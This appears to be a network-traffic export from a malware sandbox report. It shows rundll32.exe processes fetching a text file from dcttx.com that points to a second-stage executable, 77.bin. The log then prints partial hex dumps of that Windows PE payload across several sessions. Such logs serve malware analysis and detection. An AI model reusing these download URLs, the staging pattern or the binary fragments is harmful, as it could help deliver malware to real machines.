1	192.168.2.4	49732	38.147.186.138	443	7560	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-22 08:17:05 UTC	56	OUT	GET /19/7.txt HTTP/1.1 accept: / host: dcttx.com
2024-12-22 08:17:06 UTC	270	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 22 Dec 2024 08:17:05 GMT Content-Type: text/plain Content-Length: 27 Last-Modified: Thu, 19 Dec 2024 15:28:55 GMT Connection: close ETag: "67643bb7-1b" Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes
2024-12-22 08:17:06 UTC	27	IN	Data Raw: 68 74 74 70 73 3a 2f 2f 64 63 74 74 78 2e 63 6f 6d 2f 31 39 2f 37 37 2e 62 69 6e Data Ascii: https://dcttx.com/19/77.bin

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49734	38.147.186.138	443	7560	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-22 08:17:07 UTC	57	OUT	GET /19/77.bin HTTP/1.1 accept: / host: dcttx.com
2024-12-22 08:17:08 UTC	291	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 22 Dec 2024 08:17:08 GMT Content-Type: application/octet-stream Content-Length: 140288 Last-Modified: Thu, 19 Dec 2024 15:27:56 GMT Connection: close ETag: "67643b7c-22400" Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes
2024-12-22 08:17:08 UTC	16093	IN	Data Raw: 4d 5a 45 52 e8 00 00 00 00 58 83 e8 09 50 05 00 20 02 00 ff d0 c3 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 e2 0c 41 1d a6 6d 2f 4e a6 6d 2f 4e a6 6d 2f 4e c9 1b b1 4e b2 6d 2f 4e c9 1b 85 4e d0 6d 2f 4e c9 1b 84 4e 8a 6d 2f 4e af 15 bc 4e ad 6d 2f 4e a6 6d 2e 4e 29 6d 2f 4e c9 1b 80 4e ab 6d 2f 4e c9 1b b2 4e a7 6d 2f 4e 52 69 63 68 a6 6d 2f 4e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 74 12 b6 66 00 00 00 00 00 00 00 00 e0 00 02 Data Ascii: MZERXP @!L!This program cannot be run in DOS mode.$Am/Nm/Nm/NNm/NNm/NNm/NNm/Nm.N)m/NNm/NNm/NRichm/NPELtf
2024-12-22 08:17:08 UTC	16384	IN	Data Raw: 08 89 4b 04 89 9e 80 01 00 00 ff 86 78 01 00 00 57 89 9e 7c 01 00 00 ff 15 24 50 41 00 b8 01 00 00 00 5f 5b 8b e5 5d c3 b9 01 00 00 00 53 8d be 98 00 00 00 89 4e 30 c7 46 34 03 00 00 00 89 46 38 89 4e 3c e8 5a d5 ff ff 85 c0 75 0d 8b 13 53 50 8b 02 50 ff 15 e4 50 41 00 5f 33 c0 5b 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 53 56 57 8b f0 ff 15 4c 50 41 00 8b d8 8b 46 64 83 f8 03 0f 84 cf 00 00 00 8d be 5c 01 00 00 57 e8 0b ec ff ff 8b 4e 64 83 f9 01 74 0b 8b 56 64 85 d2 0f 85 aa 00 00 00 c7 46 64 02 00 00 00 c7 07 00 00 00 00 8b c3 e8 b4 01 00 00 8b 46 60 85 c0 74 20 83 7e 3c 00 74 13 8b 4e 40 6a 00 6a 10 68 40 74 41 00 51 ff 15 f4 51 41 00 c7 46 60 00 00 00 00 83 7e 30 00 74 22 8b 56 48 52 e8 7e ec ff ff 8b 46 04 83 c4 04 50 ff 15 38 Data Ascii: KxW\|$PA_[]SN0F4F8N<ZuSPPPA_3[]SVWLPAFd\WNdtVdFdF`t ~<tN@jjh@tAQQAF`~0t"VHR~FP8
2024-12-22 08:17:08 UTC	16384	IN	Data Raw: 00 dd 5d f8 dd 45 f8 59 dd 45 08 59 da e9 df e0 f6 c4 44 7a 0e 56 53 e8 18 40 00 00 dd 45 f8 59 59 eb 22 f6 c3 20 75 ed dd 45 f8 53 83 ec 10 dd 5c 24 08 dd 45 08 dd 1c 24 6a 0c 6a 10 e8 9d 3d 00 00 83 c4 1c 5e 5b c9 c3 6a 0c 68 a0 7b 41 00 e8 7e 1f 00 00 6a 0e e8 47 42 00 00 59 83 65 fc 00 8b 75 08 8b 4e 04 85 c9 74 2f a1 b4 ae 41 00 ba b0 ae 41 00 89 45 e4 85 c0 74 11 39 08 75 2c 8b 48 04 89 4a 04 50 e8 a0 f0 ff ff 59 ff 76 04 e8 97 f0 ff ff 59 83 66 04 00 c7 45 fc fe ff ff ff e8 0a 00 00 00 e8 6d 1f 00 00 c3 8b d0 eb c5 6a 0e e8 13 41 00 00 59 c3 cc cc cc cc cc cc cc cc cc cc 8b 54 24 04 8b 4c 24 08 f7 c2 03 00 00 00 75 3c 8b 02 3a 01 75 2e 0a c0 74 26 3a 61 01 75 25 0a e4 74 1d c1 e8 10 3a 41 02 75 19 0a c0 74 11 3a 61 03 75 10 83 c1 04 83 c2 04 0a e4 Data Ascii: ]EYEYDzVS@EYY" uES\$E$jj=^[jh{A~jGBYeuNt/AAEt9u,HJPYvYfEmjAYT$L$u<:u.t&:au%t:Aut:au
2024-12-22 08:17:09 UTC	16384	IN	Data Raw: 07 00 00 83 c4 0c 81 ea fe 03 00 00 8b 45 10 89 10 5d c3 8b ff 55 8b ec 51 9b dd 7d fc 0f bf 45 fc c9 c3 8b ff 55 8b ec 51 dd 7d fc db e2 0f bf 45 fc c9 c3 8b ff 55 8b ec 51 9b d9 7d fc 8b 45 0c 8b 4d 08 23 4d 0c f7 d0 66 23 45 fc 66 0b c1 0f b7 c0 89 45 0c d9 6d 0c 0f bf 45 fc c9 c3 8b ff 55 8b ec 51 51 8a 4d 08 f6 c1 01 74 0a db 2d 30 93 41 00 db 5d 08 9b f6 c1 08 74 10 9b df e0 db 2d 30 93 41 00 dd 5d f8 9b 9b df e0 f6 c1 10 74 0a db 2d 3c 93 41 00 dd 5d f8 9b f6 c1 04 74 09 d9 ee d9 e8 de f1 dd d8 9b f6 c1 20 74 06 d9 eb dd 5d f8 9b c9 c3 6a 08 68 50 7c 41 00 e8 10 df ff ff 33 c0 39 05 dc eb 41 00 74 56 f6 45 08 40 74 48 39 05 48 93 41 00 74 40 89 45 fc 0f ae 55 08 eb 2e 8b 45 ec 8b 00 8b 00 3d 05 00 00 c0 74 0a 3d 1d 00 00 c0 74 03 33 c0 c3 33 c0 40 Data Ascii: E]UQ}EUQ}EUQ}EM#Mf#EfEmEUQQMt-0A]t-0A]t-<A]t t]jhP\|A39AtVE@tH9HAt@EU.E=t=t33@
2024-12-22 08:17:09 UTC	16384	IN	Data Raw: ff ff ff b6 84 00 00 00 e8 1f 71 ff ff ff b6 88 00 00 00 e8 14 71 ff ff ff b6 8c 00 00 00 e8 09 71 ff ff ff b6 90 00 00 00 e8 fe 70 ff ff ff b6 94 00 00 00 e8 f3 70 ff ff ff b6 98 00 00 00 e8 e8 70 ff ff ff b6 9c 00 00 00 e8 dd 70 ff ff ff b6 a0 00 00 00 e8 d2 70 ff ff ff b6 a4 00 00 00 e8 c7 70 ff ff ff b6 a8 00 00 00 e8 bc 70 ff ff ff b6 bc 00 00 00 e8 b1 70 ff ff ff b6 c0 00 00 00 e8 a6 70 ff ff ff b6 c4 00 00 00 e8 9b 70 ff ff ff b6 c8 00 00 00 e8 90 70 ff ff ff b6 cc 00 00 00 e8 85 70 ff ff 83 c4 40 ff b6 d0 00 00 00 e8 77 70 ff ff ff b6 b8 00 00 00 e8 6c 70 ff ff ff b6 d8 00 00 00 e8 61 70 ff ff ff b6 dc 00 00 00 e8 56 70 ff ff ff b6 e0 00 00 00 e8 4b 70 ff ff ff b6 e4 00 00 00 e8 40 70 ff ff ff b6 e8 00 00 00 e8 35 70 ff ff ff b6 ec 00 00 00 e8 2a Data Ascii: qqqpppppppppppp@wplpapVpKp@p5p*
2024-12-22 08:17:09 UTC	16384	IN	Data Raw: 75 f8 53 ff 75 14 ff 75 10 ff 75 0c 56 e8 9f fb ff ff 83 c4 20 e8 3c 5b ff ff 83 b8 94 00 00 00 00 74 05 e8 59 84 ff ff 5f 5e 5b c9 c3 8b ff 55 8b ec 56 ff 75 08 8b f1 e8 ca 30 ff ff c7 06 88 77 41 00 8b c6 5e 5d c2 04 00 8b ff 55 8b ec 53 56 57 e8 ff 5a ff ff 83 b8 0c 02 00 00 00 8b 45 18 8b 4d 08 bf 63 73 6d e0 be ff ff ff 1f bb 22 05 93 19 75 20 8b 11 3b d7 74 1a 81 fa 26 00 00 80 74 12 8b 10 23 d6 3b d3 72 0a f6 40 20 01 0f 85 93 00 00 00 f6 41 04 66 74 23 83 78 04 00 0f 84 83 00 00 00 83 7d 1c 00 75 7d 6a ff 50 ff 75 14 ff 75 0c e8 7a f4 ff ff 83 c4 10 eb 6a 83 78 0c 00 75 12 8b 10 23 d6 81 fa 21 05 93 19 72 58 83 78 1c 00 74 52 39 39 75 32 83 79 10 03 72 2c 39 59 14 76 27 8b 51 1c 8b 52 08 85 d2 74 1d 0f b6 75 24 56 ff 75 20 ff 75 1c 50 ff 75 14 ff Data Ascii: uSuuuV <[tY_^[UVu0wA^]USVWZEMcsm"u ;t&t#;r@ Aft#x}u}jPuuzjxu#!rXxtR99u2yr,9Yv'QRtu$Vu uPu
2024-12-22 08:17:09 UTC	16384	IN	Data Raw: 00 00 00 ff ff ff ff b0 40 41 00 00 00 00 00 bb 40 41 00 01 00 00 00 c6 40 41 00 02 00 00 00 d1 40 41 00 03 00 00 00 de 40 41 00 04 00 00 00 ec 40 41 00 05 00 00 00 f9 40 41 00 06 00 00 00 06 41 41 00 07 00 00 00 13 41 41 00 07 00 00 00 1e 41 41 00 09 00 00 00 2c 41 41 00 0a 00 00 00 3a 41 41 00 0b 00 00 00 48 41 41 00 22 05 93 19 0d 00 00 00 e0 7e 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 ff ff ff ff 80 41 41 00 00 00 00 00 8b 41 41 00 22 05 93 19 02 00 00 00 6c 7f 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 ff ff ff ff c0 41 41 00 ff ff ff ff cb 41 41 00 22 05 93 19 02 00 00 00 a0 7f 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 ff ff ff ff f0 41 41 00 Data Ascii: @A@A@A@A@A@A@AAAAAAA,AA:AAHAA"~AAAAA"lAAAAA"AAA
2024-12-22 08:17:09 UTC	16384	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2024-12-22 08:17:09 UTC	9507	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49735	38.147.186.138	443	7544	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-22 08:17:07 UTC	57	OUT	GET /19/77.bin HTTP/1.1 accept: / host: dcttx.com
2024-12-22 08:17:08 UTC	291	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 22 Dec 2024 08:17:08 GMT Content-Type: application/octet-stream Content-Length: 140288 Last-Modified: Thu, 19 Dec 2024 15:27:56 GMT Connection: close ETag: "67643b7c-22400" Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes
2024-12-22 08:17:08 UTC	16093	IN	Data Raw: 4d 5a 45 52 e8 00 00 00 00 58 83 e8 09 50 05 00 20 02 00 ff d0 c3 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 e2 0c 41 1d a6 6d 2f 4e a6 6d 2f 4e a6 6d 2f 4e c9 1b b1 4e b2 6d 2f 4e c9 1b 85 4e d0 6d 2f 4e c9 1b 84 4e 8a 6d 2f 4e af 15 bc 4e ad 6d 2f 4e a6 6d 2e 4e 29 6d 2f 4e c9 1b 80 4e ab 6d 2f 4e c9 1b b2 4e a7 6d 2f 4e 52 69 63 68 a6 6d 2f 4e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 74 12 b6 66 00 00 00 00 00 00 00 00 e0 00 02 Data Ascii: MZERXP @!L!This program cannot be run in DOS mode.$Am/Nm/Nm/NNm/NNm/NNm/NNm/Nm.N)m/NNm/NNm/NRichm/NPELtf
2024-12-22 08:17:08 UTC	16384	IN	Data Raw: 08 89 4b 04 89 9e 80 01 00 00 ff 86 78 01 00 00 57 89 9e 7c 01 00 00 ff 15 24 50 41 00 b8 01 00 00 00 5f 5b 8b e5 5d c3 b9 01 00 00 00 53 8d be 98 00 00 00 89 4e 30 c7 46 34 03 00 00 00 89 46 38 89 4e 3c e8 5a d5 ff ff 85 c0 75 0d 8b 13 53 50 8b 02 50 ff 15 e4 50 41 00 5f 33 c0 5b 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 53 56 57 8b f0 ff 15 4c 50 41 00 8b d8 8b 46 64 83 f8 03 0f 84 cf 00 00 00 8d be 5c 01 00 00 57 e8 0b ec ff ff 8b 4e 64 83 f9 01 74 0b 8b 56 64 85 d2 0f 85 aa 00 00 00 c7 46 64 02 00 00 00 c7 07 00 00 00 00 8b c3 e8 b4 01 00 00 8b 46 60 85 c0 74 20 83 7e 3c 00 74 13 8b 4e 40 6a 00 6a 10 68 40 74 41 00 51 ff 15 f4 51 41 00 c7 46 60 00 00 00 00 83 7e 30 00 74 22 8b 56 48 52 e8 7e ec ff ff 8b 46 04 83 c4 04 50 ff 15 38 Data Ascii: KxW\|$PA_[]SN0F4F8N<ZuSPPPA_3[]SVWLPAFd\WNdtVdFdF`t ~<tN@jjh@tAQQAF`~0t"VHR~FP8
2024-12-22 08:17:08 UTC	16384	IN	Data Raw: 00 dd 5d f8 dd 45 f8 59 dd 45 08 59 da e9 df e0 f6 c4 44 7a 0e 56 53 e8 18 40 00 00 dd 45 f8 59 59 eb 22 f6 c3 20 75 ed dd 45 f8 53 83 ec 10 dd 5c 24 08 dd 45 08 dd 1c 24 6a 0c 6a 10 e8 9d 3d 00 00 83 c4 1c 5e 5b c9 c3 6a 0c 68 a0 7b 41 00 e8 7e 1f 00 00 6a 0e e8 47 42 00 00 59 83 65 fc 00 8b 75 08 8b 4e 04 85 c9 74 2f a1 b4 ae 41 00 ba b0 ae 41 00 89 45 e4 85 c0 74 11 39 08 75 2c 8b 48 04 89 4a 04 50 e8 a0 f0 ff ff 59 ff 76 04 e8 97 f0 ff ff 59 83 66 04 00 c7 45 fc fe ff ff ff e8 0a 00 00 00 e8 6d 1f 00 00 c3 8b d0 eb c5 6a 0e e8 13 41 00 00 59 c3 cc cc cc cc cc cc cc cc cc cc 8b 54 24 04 8b 4c 24 08 f7 c2 03 00 00 00 75 3c 8b 02 3a 01 75 2e 0a c0 74 26 3a 61 01 75 25 0a e4 74 1d c1 e8 10 3a 41 02 75 19 0a c0 74 11 3a 61 03 75 10 83 c1 04 83 c2 04 0a e4 Data Ascii: ]EYEYDzVS@EYY" uES\$E$jj=^[jh{A~jGBYeuNt/AAEt9u,HJPYvYfEmjAYT$L$u<:u.t&:au%t:Aut:au
2024-12-22 08:17:09 UTC	16384	IN	Data Raw: 07 00 00 83 c4 0c 81 ea fe 03 00 00 8b 45 10 89 10 5d c3 8b ff 55 8b ec 51 9b dd 7d fc 0f bf 45 fc c9 c3 8b ff 55 8b ec 51 dd 7d fc db e2 0f bf 45 fc c9 c3 8b ff 55 8b ec 51 9b d9 7d fc 8b 45 0c 8b 4d 08 23 4d 0c f7 d0 66 23 45 fc 66 0b c1 0f b7 c0 89 45 0c d9 6d 0c 0f bf 45 fc c9 c3 8b ff 55 8b ec 51 51 8a 4d 08 f6 c1 01 74 0a db 2d 30 93 41 00 db 5d 08 9b f6 c1 08 74 10 9b df e0 db 2d 30 93 41 00 dd 5d f8 9b 9b df e0 f6 c1 10 74 0a db 2d 3c 93 41 00 dd 5d f8 9b f6 c1 04 74 09 d9 ee d9 e8 de f1 dd d8 9b f6 c1 20 74 06 d9 eb dd 5d f8 9b c9 c3 6a 08 68 50 7c 41 00 e8 10 df ff ff 33 c0 39 05 dc eb 41 00 74 56 f6 45 08 40 74 48 39 05 48 93 41 00 74 40 89 45 fc 0f ae 55 08 eb 2e 8b 45 ec 8b 00 8b 00 3d 05 00 00 c0 74 0a 3d 1d 00 00 c0 74 03 33 c0 c3 33 c0 40 Data Ascii: E]UQ}EUQ}EUQ}EM#Mf#EfEmEUQQMt-0A]t-0A]t-<A]t t]jhP\|A39AtVE@tH9HAt@EU.E=t=t33@
2024-12-22 08:17:09 UTC	16384	IN	Data Raw: ff ff ff b6 84 00 00 00 e8 1f 71 ff ff ff b6 88 00 00 00 e8 14 71 ff ff ff b6 8c 00 00 00 e8 09 71 ff ff ff b6 90 00 00 00 e8 fe 70 ff ff ff b6 94 00 00 00 e8 f3 70 ff ff ff b6 98 00 00 00 e8 e8 70 ff ff ff b6 9c 00 00 00 e8 dd 70 ff ff ff b6 a0 00 00 00 e8 d2 70 ff ff ff b6 a4 00 00 00 e8 c7 70 ff ff ff b6 a8 00 00 00 e8 bc 70 ff ff ff b6 bc 00 00 00 e8 b1 70 ff ff ff b6 c0 00 00 00 e8 a6 70 ff ff ff b6 c4 00 00 00 e8 9b 70 ff ff ff b6 c8 00 00 00 e8 90 70 ff ff ff b6 cc 00 00 00 e8 85 70 ff ff 83 c4 40 ff b6 d0 00 00 00 e8 77 70 ff ff ff b6 b8 00 00 00 e8 6c 70 ff ff ff b6 d8 00 00 00 e8 61 70 ff ff ff b6 dc 00 00 00 e8 56 70 ff ff ff b6 e0 00 00 00 e8 4b 70 ff ff ff b6 e4 00 00 00 e8 40 70 ff ff ff b6 e8 00 00 00 e8 35 70 ff ff ff b6 ec 00 00 00 e8 2a Data Ascii: qqqpppppppppppp@wplpapVpKp@p5p*

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49736	38.147.186.138	443	7668	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-22 08:17:08 UTC	56	OUT	GET /19/7.txt HTTP/1.1 accept: / host: dcttx.com
2024-12-22 08:17:08 UTC	270	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 22 Dec 2024 08:17:08 GMT Content-Type: text/plain Content-Length: 27 Last-Modified: Thu, 19 Dec 2024 15:28:55 GMT Connection: close ETag: "67643bb7-1b" Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes
2024-12-22 08:17:08 UTC	27	IN	Data Raw: 68 74 74 70 73 3a 2f 2f 64 63 74 74 78 2e 63 6f 6d 2f 31 39 2f 37 37 2e 62 69 6e Data Ascii: https://dcttx.com/19/77.bin

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49737	38.147.186.138	443	7668	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-22 08:17:10 UTC	57	OUT	GET /19/77.bin HTTP/1.1 accept: / host: dcttx.com
2024-12-22 08:17:11 UTC	291	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 22 Dec 2024 08:17:10 GMT Content-Type: application/octet-stream Content-Length: 140288 Last-Modified: Thu, 19 Dec 2024 15:27:56 GMT Connection: close ETag: "67643b7c-22400" Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes
2024-12-22 08:17:11 UTC	16093	IN	Data Raw: 4d 5a 45 52 e8 00 00 00 00 58 83 e8 09 50 05 00 20 02 00 ff d0 c3 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 e2 0c 41 1d a6 6d 2f 4e a6 6d 2f 4e a6 6d 2f 4e c9 1b b1 4e b2 6d 2f 4e c9 1b 85 4e d0 6d 2f 4e c9 1b 84 4e 8a 6d 2f 4e af 15 bc 4e ad 6d 2f 4e a6 6d 2e 4e 29 6d 2f 4e c9 1b 80 4e ab 6d 2f 4e c9 1b b2 4e a7 6d 2f 4e 52 69 63 68 a6 6d 2f 4e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 74 12 b6 66 00 00 00 00 00 00 00 00 e0 00 02 Data Ascii: MZERXP @!L!This program cannot be run in DOS mode.$Am/Nm/Nm/NNm/NNm/NNm/NNm/Nm.N)m/NNm/NNm/NRichm/NPELtf
2024-12-22 08:17:11 UTC	16384	IN	Data Raw: 08 89 4b 04 89 9e 80 01 00 00 ff 86 78 01 00 00 57 89 9e 7c 01 00 00 ff 15 24 50 41 00 b8 01 00 00 00 5f 5b 8b e5 5d c3 b9 01 00 00 00 53 8d be 98 00 00 00 89 4e 30 c7 46 34 03 00 00 00 89 46 38 89 4e 3c e8 5a d5 ff ff 85 c0 75 0d 8b 13 53 50 8b 02 50 ff 15 e4 50 41 00 5f 33 c0 5b 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 53 56 57 8b f0 ff 15 4c 50 41 00 8b d8 8b 46 64 83 f8 03 0f 84 cf 00 00 00 8d be 5c 01 00 00 57 e8 0b ec ff ff 8b 4e 64 83 f9 01 74 0b 8b 56 64 85 d2 0f 85 aa 00 00 00 c7 46 64 02 00 00 00 c7 07 00 00 00 00 8b c3 e8 b4 01 00 00 8b 46 60 85 c0 74 20 83 7e 3c 00 74 13 8b 4e 40 6a 00 6a 10 68 40 74 41 00 51 ff 15 f4 51 41 00 c7 46 60 00 00 00 00 83 7e 30 00 74 22 8b 56 48 52 e8 7e ec ff ff 8b 46 04 83 c4 04 50 ff 15 38 Data Ascii: KxW\|$PA_[]SN0F4F8N<ZuSPPPA_3[]SVWLPAFd\WNdtVdFdF`t ~<tN@jjh@tAQQAF`~0t"VHR~FP8
2024-12-22 08:17:11 UTC	16384	IN	Data Raw: 00 dd 5d f8 dd 45 f8 59 dd 45 08 59 da e9 df e0 f6 c4 44 7a 0e 56 53 e8 18 40 00 00 dd 45 f8 59 59 eb 22 f6 c3 20 75 ed dd 45 f8 53 83 ec 10 dd 5c 24 08 dd 45 08 dd 1c 24 6a 0c 6a 10 e8 9d 3d 00 00 83 c4 1c 5e 5b c9 c3 6a 0c 68 a0 7b 41 00 e8 7e 1f 00 00 6a 0e e8 47 42 00 00 59 83 65 fc 00 8b 75 08 8b 4e 04 85 c9 74 2f a1 b4 ae 41 00 ba b0 ae 41 00 89 45 e4 85 c0 74 11 39 08 75 2c 8b 48 04 89 4a 04 50 e8 a0 f0 ff ff 59 ff 76 04 e8 97 f0 ff ff 59 83 66 04 00 c7 45 fc fe ff ff ff e8 0a 00 00 00 e8 6d 1f 00 00 c3 8b d0 eb c5 6a 0e e8 13 41 00 00 59 c3 cc cc cc cc cc cc cc cc cc cc 8b 54 24 04 8b 4c 24 08 f7 c2 03 00 00 00 75 3c 8b 02 3a 01 75 2e 0a c0 74 26 3a 61 01 75 25 0a e4 74 1d c1 e8 10 3a 41 02 75 19 0a c0 74 11 3a 61 03 75 10 83 c1 04 83 c2 04 0a e4 Data Ascii: ]EYEYDzVS@EYY" uES\$E$jj=^[jh{A~jGBYeuNt/AAEt9u,HJPYvYfEmjAYT$L$u<:u.t&:au%t:Aut:au
2024-12-22 08:17:11 UTC	16384	IN	Data Raw: 07 00 00 83 c4 0c 81 ea fe 03 00 00 8b 45 10 89 10 5d c3 8b ff 55 8b ec 51 9b dd 7d fc 0f bf 45 fc c9 c3 8b ff 55 8b ec 51 dd 7d fc db e2 0f bf 45 fc c9 c3 8b ff 55 8b ec 51 9b d9 7d fc 8b 45 0c 8b 4d 08 23 4d 0c f7 d0 66 23 45 fc 66 0b c1 0f b7 c0 89 45 0c d9 6d 0c 0f bf 45 fc c9 c3 8b ff 55 8b ec 51 51 8a 4d 08 f6 c1 01 74 0a db 2d 30 93 41 00 db 5d 08 9b f6 c1 08 74 10 9b df e0 db 2d 30 93 41 00 dd 5d f8 9b 9b df e0 f6 c1 10 74 0a db 2d 3c 93 41 00 dd 5d f8 9b f6 c1 04 74 09 d9 ee d9 e8 de f1 dd d8 9b f6 c1 20 74 06 d9 eb dd 5d f8 9b c9 c3 6a 08 68 50 7c 41 00 e8 10 df ff ff 33 c0 39 05 dc eb 41 00 74 56 f6 45 08 40 74 48 39 05 48 93 41 00 74 40 89 45 fc 0f ae 55 08 eb 2e 8b 45 ec 8b 00 8b 00 3d 05 00 00 c0 74 0a 3d 1d 00 00 c0 74 03 33 c0 c3 33 c0 40 Data Ascii: E]UQ}EUQ}EUQ}EM#Mf#EfEmEUQQMt-0A]t-0A]t-<A]t t]jhP\|A39AtVE@tH9HAt@EU.E=t=t33@
2024-12-22 08:17:11 UTC	16384	IN	Data Raw: ff ff ff b6 84 00 00 00 e8 1f 71 ff ff ff b6 88 00 00 00 e8 14 71 ff ff ff b6 8c 00 00 00 e8 09 71 ff ff ff b6 90 00 00 00 e8 fe 70 ff ff ff b6 94 00 00 00 e8 f3 70 ff ff ff b6 98 00 00 00 e8 e8 70 ff ff ff b6 9c 00 00 00 e8 dd 70 ff ff ff b6 a0 00 00 00 e8 d2 70 ff ff ff b6 a4 00 00 00 e8 c7 70 ff ff ff b6 a8 00 00 00 e8 bc 70 ff ff ff b6 bc 00 00 00 e8 b1 70 ff ff ff b6 c0 00 00 00 e8 a6 70 ff ff ff b6 c4 00 00 00 e8 9b 70 ff ff ff b6 c8 00 00 00 e8 90 70 ff ff ff b6 cc 00 00 00 e8 85 70 ff ff 83 c4 40 ff b6 d0 00 00 00 e8 77 70 ff ff ff b6 b8 00 00 00 e8 6c 70 ff ff ff b6 d8 00 00 00 e8 61 70 ff ff ff b6 dc 00 00 00 e8 56 70 ff ff ff b6 e0 00 00 00 e8 4b 70 ff ff ff b6 e4 00 00 00 e8 40 70 ff ff ff b6 e8 00 00 00 e8 35 70 ff ff ff b6 ec 00 00 00 e8 2a Data Ascii: qqqpppppppppppp@wplpapVpKp@p5p*
